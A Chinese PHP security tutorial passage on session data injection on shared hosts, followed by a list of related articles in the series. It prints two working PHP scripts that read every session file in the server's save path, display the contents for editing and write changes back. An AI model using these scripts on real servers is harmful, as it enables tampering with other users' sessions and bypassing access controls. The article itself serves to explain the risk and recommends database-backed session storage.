一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:
<?php session_start(); ?> <form action="inject.php" method="POST"> <?php $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } } } $handle->close(); ?> <input type="submit" /> </form>
脚本inject.php执行由表单所指定的修改:
<?php session_start(); $path = ini_get('session.save_path'); foreach ($_POST as $sess_name => $sess_data) { $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data); } $_SESSION = array(); ?>
此类攻击非常危险。攻击者不仅可以编辑你的用户的数据,还可以编辑他自己的会话数据。它比会话劫持更为强大,因为攻击者能选择所有的会话数据进行修改,从而使绕过访问限制和其他安全手段成为可能。
针对这个问题的最好解决方案是将会话数据保存在数据库中。参见专题前面的内容。
延伸阅读
此文章所在专题列表如下:
- PHP安全编程:register_globals的安全性
- PHP安全编程:不要让不相关的人看到报错信息
- PHP安全编程:网站安全设计的一些原则
- PHP安全编程:可用性与数据跟踪
- PHP安全编程:过滤用户输入
- PHP安全编程:对输出要进行转义
- PHP安全编程:表单与数据安全
- PHP安全编程:从URL的语义进行攻击
- PHP安全编程:文件上传攻击的防御
- PHP安全编程:跨站脚本攻击的防御
- PHP安全编程:跨站请求伪造CSRF的防御
- PHP安全编程:关于表单欺骗提交
- PHP安全编程:HTTP请求欺骗
- PHP安全编程:不要暴露数据库访问权限
- PHP安全编程:防止SQL注入
- PHP安全编程:cookie暴露导致session被劫持
- PHP安全编程:session固定获取合法会话
- PHP安全编程:session劫持的防御
- PHP安全编程:防止源代码的暴露
- PHP安全编程:留心后门URL
- PHP安全编程:阻止文件名被操纵
- PHP安全编程:文件包含的代码注入攻击
- PHP安全编程:文件目录猜测漏洞
- PHP安全编程:打开远程文件的风险
- PHP安全编程:shell命令注入
- PHP安全编程:暴力破解攻击
- PHP安全编程:密码嗅探与重播攻击
- PHP安全编程:记住登录状态的安全做法
- PHP安全编程:共享主机的源码安全
- PHP安全编程:更优的会话数据安全
- PHP安全编程:会话数据注入
- PHP安全编程:主机文件目录浏览
- PHP安全编程:PHP的安全模式
本文地址:http://www.nowamagic.net/librarys/veda/detail/2079,欢迎访问原出处。
大家都在看